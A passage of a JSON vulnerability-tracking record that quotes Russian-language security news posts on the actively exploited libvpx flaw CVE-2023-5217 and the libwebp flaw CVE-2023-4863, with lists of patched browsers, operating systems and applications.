\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u043e\u0439 \u043f\u043e \u0441\u0447\u0435\u0442\u0443 0day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, Google \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e CVE-2023-5217 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Google Chrome 117.0.5938.132 \u0434\u043b\u044f Windows, Mac \u0438 Linux. \u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0438\u0445 \u043f\u043e\u0441\u043b\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u0441\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-5217, \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u043d\u0430\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 VP8 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u0434\u0435\u043a\u043e\u0432 libvpx \u043e\u0442 Google \u0438 Alliance for Open Media (AOMedia). \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google TAG 25 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 Google \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-5217 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0435\u0442\u0430\u043b\u044f\u043c \u043e\u0448\u0438\u0431\u043a\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u043c\u043e\u0436\u0435\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u044f\u0442 \u0441\u0432\u043e\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b. \u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e \u043c\u0435\u0440\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439.\n\n\u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e Google \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2023-4863 \u0432\u0441\u0435\u0433\u043e 2 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0437\u0430\u0434, \u0447\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u0441\u043b\u0443\u0447\u0430\u0435\u043c \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043d\u0435\u0441\u043b\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u043a \u043e\u0448\u0438\u0431\u043a\u0430\u043c Chrome, \u043d\u043e \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE (CVE-2023-5129) \u0438 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 10/10, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0438\u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libwebp, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Signal, 1Password, Mozilla Firefox, Microsoft Edge, Apple's Safari \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440 Android.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-09-30T17:37:29.000000Z"}, {"uuid": "4de17ae0-5f2f-48b8-a15b-f039f3399710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/itsec_news/3274", "content": "\u200b\u26a1\ufe0fApple \u0438 Google \u0441\u043a\u0440\u044b\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udcac \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u043e\u0432\u043e\u043c\u0443 \u043e\u0442\u0447\u0451\u0442\u0443 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Rezillion, \u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 Apple \u0438 Google \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0422\u0430\u043a\u0430\u044f \u043d\u0435\u0434\u043e\u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u0441\u043b\u0435\u043f\u043e\u0435 \u043f\u044f\u0442\u043d\u043e, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n2 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0437\u0430\u0434 Apple \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u0442\u043e\u043c , \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 iOS \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e Pegasus. \u0410\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c (Zero-Click): \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0437\u0432\u043e\u043d\u043e\u043a \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0430 iPhone, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043e.\n\nApple \u0443\u043a\u0430\u0437\u0430\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-41064 (CVSS: 7.8) \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 , \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 ImageIO \u2013 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f WebP. \u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d\u043e Citizen Lab.\n\n\u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 Google \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Chrome, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-4863 (CVSS: 8.8), \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Apple \u0438 Citizen Lab.\n\n\u0411\u044b\u0441\u0442\u0440\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0438 \u0434\u043e\u0433\u0430\u0434\u043a\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u043e\u0431\u0449\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Rezillion \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043e\u0442 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043a\u043e\u0434\u0430 libwebp, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 WebP.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u0438\u0442\u0438\u043a\u043e\u0432\u0430\u043b\u0438 Apple, Google \u0438 Citizen Lab \u0437\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0432\u043e\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u043d\u0430 \u043e\u0431\u0449\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f CVE. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u00ab\u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439\u00bb \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f libwebp. Google \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043a\u0440\u0438\u0442\u0438\u043a\u0435 \u0437\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c Chrome, \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 libwebp, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0442\u0430\u043a\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u0430.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u0443\u044e\u0442 libwebp \u0438 \u0435\u0449\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0442\u0430\u043a\u0438\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u0430\u043a Microsoft Teams \u0438 Visual Studio Code, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Electron .\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\nGoogle Chrome (\u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f Mac \u0438 Linux 116.0.5845.187 \u0438 \u0434\u043b\u044f Windows 116.0.5845.187/.188);\nMozilla (Firefox \u0432\u0435\u0440\u0441\u0438\u0438 117.0.1, Firefox ESR 115.2.1, Firefox ESR 102.15.1), Thunderbird (\u0432\u0435\u0440\u0441\u0438\u0438 102.15.1 \u0438 115.2.2);\nBrave Browser (\u0432\u0435\u0440\u0441\u0438\u044f 1.57.64);\nMicrosoft Edge (\u0432\u0435\u0440\u0441\u0438\u0438 109.0.1518.140, 116.0.1938.81 \u0438 117.0.2045.31);\nTor Browser (\u0432\u0435\u0440\u0441\u0438\u044f 12.5.4);\nOpera (\u0432\u0435\u0440\u0441\u0438\u044f 102.0.4880.46);\nVivaldi (\u0432\u0435\u0440\u0441\u0438\u044f 6.2.3105.47);\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Debian , Ubuntu , Alpine , Gentoo , RedHat , SUSE , Oracle \u0438 Amazon Linux.\n\n\u0414\u0440\u0443\u0433\u043e\u0435 \u041f\u041e:\n\nZulip Server \u2013 version 7.4;\nElectron \u2013 versions 22.3.24, 24.8.3, 25.8.1, 26.2.1 and 27.0.0-beta.2;\nXplan \u2013 version 23.9.289;\nSignal-Desktop \u2013 version 6.30.2;\nHoneyview \u2013 version 5.51.\n\nRezillion \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e Apple ImageIO \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 libwebp \u0438 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-4863. \u0415\u0441\u043b\u0438 CVE \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u0430\u043d\u0434\u044b, 